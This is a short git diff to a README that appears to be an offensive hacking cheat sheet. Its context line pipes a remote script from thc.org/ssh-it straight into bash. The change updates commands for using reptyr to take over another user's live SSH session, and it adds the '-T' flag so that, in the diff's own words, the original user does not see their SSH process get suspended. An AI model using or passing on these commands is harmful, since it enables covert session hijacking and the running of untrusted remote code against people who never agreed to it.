diff --git a/README.md b/README.md index edcd059..2dcc7c8 100644 --- a/README.md +++ b/README.md @@ -1646,9 +1646,10 @@ bash -c "$(curl -fsSL https://thc.org/ssh-it/x)" Use [https://github.com/nelhage/reptyr](https://github.com/nelhage/reptyr) to take over an existing SSH session: ```sh -ps alxww | grep ssh -./reptyr -### or: ./reptyr $(pidof -s ssh) +ps ax -o pid,ppid,cmd | grep 'ssh ' +./reptyr -T +### or: ./reptyr -T $(pidof -s ssh) +### Must use '-T' or otherwise the original user will see that his SSH process gets suspended. ``` ---